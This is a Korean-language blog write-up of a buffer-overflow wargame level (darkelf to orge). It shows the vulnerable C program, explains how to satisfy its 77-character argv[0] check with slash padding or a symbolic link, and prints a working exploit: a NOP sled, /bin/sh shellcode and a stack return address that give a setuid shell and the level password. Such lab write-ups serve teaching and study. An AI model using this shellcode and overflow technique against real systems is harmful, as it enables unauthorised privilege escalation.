Posted by john@memory :
LEVEL7 (darkelf -> orge) : check argv[0]

argv[0]이면 파일명인데 과연 어떤 문제일까

 [darkelf@localhost darkelf]$ cat orge.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // shellcode hunter
        memset(buffer, 0, 40);
}


중간에 주석으로 // here is changed! 가 보인다.
파일명이 77글자가 되지 않으면 파일을 종료시켜버린다. check argv[0]이라길래 egghunter, bufferhunter가 없을줄 알았는데 그대로 있다. 역시 공격은 argv[1]영역을 노리는 것인데 파일명만 77글자이여야 된다.

공격 방법은 전과 동일하나 argv[0]은 이런식으로 쓰면 된다.

 [darkelf@localhost .izayoi]$ .////////////////////////////////////////////////////////////////////////orge `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[darkelf@localhost .izayoi]$ gdb -c core -q
Core was generated by `.////////////////////////////////////////////////////////////////////////orge ¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb)

../../../.././././../../ 이런식의 공격도 가능할 것이다.(아마 이 방법은 home/darkelf/orge라는 글자를 추가시켜야되겠지만.
또 하나 실험을 해봤는데 이런 밑의 경우도 가능할 것 같다. ( 심볼릭 링크 이용 )

[darkelf@localhost .izayoi]$ ln -s orge aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[darkelf@localhost .izayoi]$ ls -al
total 92
drwxrwxr-x    2 darkelf  darkelf      4096 Jan 13 20:48 .
drwx------    3 darkelf  darkelf      4096 Jan 13 20:41 ..
lrwxrwxrwx    1 darkelf  darkelf         4 Jan 13 20:48 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -> orge
-rw-------    1 darkelf  darkelf     61440 Jan 13 20:44 core
-rwsr-sr-x    1 darkelf  darkelf     12700 Jan 13 20:42 orge
-rw-r--r--    1 darkelf  darkelf       701 Jan 13 20:42 orge.c
[darkelf@localhost .izayoi]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)

이제 공격 방법에 대해서는 알고있고 이전 문제와 비슷하기때문에 따로 gdb를 이용한 분석은 빼겠다.

[darkelf@localhost darkelf]$ .////////////////////////////////////////////////////////////////////////orge `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x9c\xfb\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€œûÿ¿
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker

[darkelf@localhost darkelf]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x98\xfb\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€˜ûÿ¿
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker

두가지 방법 다 패스워드를 획득했다.
Posted by john@memory :